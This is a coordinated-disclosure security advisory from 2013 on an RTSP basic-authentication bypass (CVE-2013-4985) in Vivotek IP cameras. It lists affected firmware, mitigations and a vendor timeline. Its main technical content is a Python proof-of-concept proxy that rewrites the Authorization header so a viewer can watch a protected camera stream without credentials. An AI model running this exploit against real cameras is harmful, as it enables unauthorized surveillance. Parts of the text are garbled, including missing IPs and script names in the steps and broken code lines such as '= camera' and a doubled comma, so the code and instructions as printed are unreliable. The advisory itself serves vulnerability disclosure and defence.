Vivotek IP Cameras RTSP Authentication Bypass

1. Advisory Information

Title: Vivotek IP Cameras RTSP Authentication Bypass
Advisory ID: CORE-2013-0704
Advisory URL:
Date published: 2013-11-05
Date of last update: 2013-11-05
Vendors contacted: Vivotek
Release mode: Coordinated release

2. Vulnerability Information

Class: Authentication issues [CWE-287]
Impact: Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-4985

3. Vulnerability Description

A security vulnerability was found in Vivotek IP cameras [1] that could allow an unauthenticated remote attacker to bypass the RTSP basic authentication and access the video stream.

4. Vulnerable Packages

  • Vivotek IP cameras with firmware 0105a.
  • Vivotek IP cameras with firmware 0105b.
  • This vulnerability was tested against Vivotek IP cameras IP7160, IP7361 and IP8332. Other Vivotek cameras and firmware are probably affected too, but they were not checked.

5. Vendor Information, Solutions and Workarounds

Vendor released the beta firmware 0301c and notifies that it should be the formal release [2013-10-28]; contact vendor for further information. Some mitigation actions for this issue may be:

  • Do not expose the camera to internet unless absolutely necessary.
  • Filter RTSP traffic (default port 554) if possible.

6. Credits

This vulnerability was discovered and researched by Martin Di Paola from Core Security QA Team. The PoC of was made by Martin Di Paola with help of Martin Rocha from Core Development Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.

7. Technical Description / Proof of Concept Code

7.1. RTSP Authentication Bypass

This vulnerability is triggered by sending specially crafted RTSP packets to remote TCP port 554. In order to run the proof of concept, follow the next steps:

  1. Set the camera RTSP authentication to 'basic'.
  2. (Assuming that the camera is located in Run with these parameters: python 9999 554
  3. Open a VLC media player and go to: Media > Open Network Stream.
  4. Enter the following network URL: rtsp://localhost:9999/live.sdp.
  5. A dialog box will asks for user/password, just click 'OK'.
  6. You should see the RTSP live video stream; i.e., the RTSP basic authentication can by bypassed by a remote attacker.
# # # # The contents of this software are copyright (c) 2013 CORE Security and (c) 2013 CoreLabs, # and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) # License: # # THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR # CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF # THIS SOFTWARE. # import sys from socket import * from threading import Thread import time LOGGING = 1 def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s) class UDPRequestHandler(Thread): def __init__(self, data_to_send, recv_addr, dst_addr): Thread.__init__(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr def run(self): sender = socket(AF_INET, SOCK_DGRAM) sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) sender.sendto(self.data_to_send, self.dst_addr) response = sender.recv(1024) sender.sendto(response, self.recv_addr) sender.close() class UDPDispatcher(Thread): dispatchers = [] def __has_dispatcher_for(self, port): return any([d.src_port == port for d in UDPDispatcher.dispatchers]) def __init__(self, src_port, dst_addr): Thread.__init__(self) if self.__has_dispatcher_for(src_port): raise Exception('There is already a dispatcher for port %d' % src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self) def run(self): listener = socket(AF_INET, SOCK_DGRAM) listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) listener.bind(('', self.src_port)) while 1: try: data, recv_addr = listener.recvfrom(1024) if not data: break UDPRequestHandler(data, recv_addr, self.dst_addr).start() except Exception as e: print e break listener.close() UDPDispatcher.dispatchers.remove(self) class PipeThread(Thread): pipes = [] def __init__(self, source, sink, process_data_callback=lambda x: x): Thread.__init__(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self) def run(self): while 1: try: data = self.source.recv(1024) data = self.process_data_callback(data) if not data: break self.sink.send(data) except Exception as e: log(e) break PipeThread.pipes.remove(self) class TCPTunnel(Thread): def __init__(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.__init__(self) log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(('', src_port)) log('[*] Check live stream in rtsp://localhost:%d/live.sdp' % src_port) self.sock.listen(5) def run(self): while 1: # Wait until a new connection arises newsock, address = self.sock.accept() # Create forwarder socket fwd = socket(AF_INET, SOCK_STREAM) fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) fwd.connect(self.dst_addr) # Pipe them! PipeThread(newsock, fwd, self.process_data_callback).start() PipeThread(fwd, newsock, self.process_data_callback).start() class Camera(): def __init__(self, address): self.address = address def get_describe_data(self): return '' class Vivotek(Camera): def __init__(self, address): Camera.__init__(self, address) def get_describe_data(self): return 'v=0\r\no=RTSP 836244 0 IN IP4\r\ns=RTSP server\r\nc=IN IP4\r\nt=0 0\r\na=charset:Shift_JIS\r\na=range:npt=0-\r\na=control:*\r\na=etag:1234567890\r\nm=video 0 RTP/AVP 96\r\nb=AS:1200\r\na=rtpmap:96 MP4V-ES/30000\r\na=control:trackID=1\r\na=fmtp:96 profile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800\r\nm=audio 0 RTP/AVP 97\r\na=control:trackID=3\r\na=rtpmap:97 mpeg4-generic/16000/2\r\na=fmtp:97 streamtype=5; profile-level-id=15; mode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3; IndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;\r\n' class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559' def __init__(self, local_port, camera): self.last_describe_req = '' = camera self.local_port = local_port def start(self): log('[!] Starting bypasser') TCPTunnel(self.local_port,, self.spoof_rtsp_conn).start() def spoof_rtsp_conn(self, data): auth_string = "Authorization: Basic" if auth_string in data: data = data.split("\r\n") new_data = [] for line in data: new_data.append(line if auth_string not in line else auth_string + " a") data = "\r\n".join(new_data) return data if __name__ == '__main__': if len(sys.argv) > 1: listener_port = camera_port = int(sys.argv[1]) camera_ip = sys.argv[2] if len(sys.argv) == 4: camera_port = int(sys.argv[3]) RTSPAuthByPasser(listener_port, Vivotek((camera_ip, camera_port))).start() else: print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]' 

8. Report Timeline

  • 2013-07-04: Core Security Technologies attempts to report the vulnerability. Publication date set to July 30th, 2013.
  • 2013-07-08: Core attempts to contact vendor.
  • 2013-07-22: Core attempts to contact vendor.
  • 2013-07-30: First release date missed.
  • 2013-07-30: Core notifies the Vivotek team of the vulnerability.
  • 2013-08-01: Vendor asks for a report with technical information.
  • 2013-08-01: Technical details sent to Vivotek team.
  • 2013-08-05: Core asks for a status update.
  • 2013-08-05: Vendor notifies that the reported issue is being evaluated.
  • 2013-08-12: Core asks for a status update and re-schedules the advisory publication for Aug 28th.
  • 2013-08-15: Vendor notifies that authentication in RTSP streaming is disabled by default and the reported issue is not a vulnerability.
  • 2013-08-27: Core notifies that the PoC was tested against Vivotek IP cameras IP7160, IP8332 and IP7361, with basic authentication enabled, and all targets were vulnerable. Core re-sends a PoC and additional technical details.
  • 2013-08-28: Vendor confirms the issue and notifies that a patched firmware will be released in the future.
  • 2013-08-28: Second release date missed.
  • 2013-09-02: Core asks for a specific release date and re-schedules the advisory publication for Sep 11th.
  • 2013-09-03: Vendor notifies that they have a solution that is being tested. The solution will be released in the newest models first.
  • 2013-09-09: Core asks for a status update regarding the release date.
  • 2013-09-10: Vendor notifies that the testing process will probably finish before Sep. 27th.
  • 2013-09-11: Third release date missed.
  • 2013-09-30: Core asks for a status update.
  • 2013-09-30: Vendor notifies that they found other issues on this version and asks for delaying the release.
  • 2013-10-17: Core asks for a status update and a tentative release date.
  • 2013-10-17: Vendor notifies that a firmware beta version is being tested [2].
  • 2013-10-28: Core notifies that the advisory was re-scheduled to be published next Tuesday and that date should be considered final.
  • 2013-10-28: Vendor notifies that the firmware beta release 0301c [2] should be the formal release.
  • 2013-11-05: Advisory CORE-2013-0704 published.

9. References


10. About CoreLabs

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12. Disclaimer

The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License:

13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team.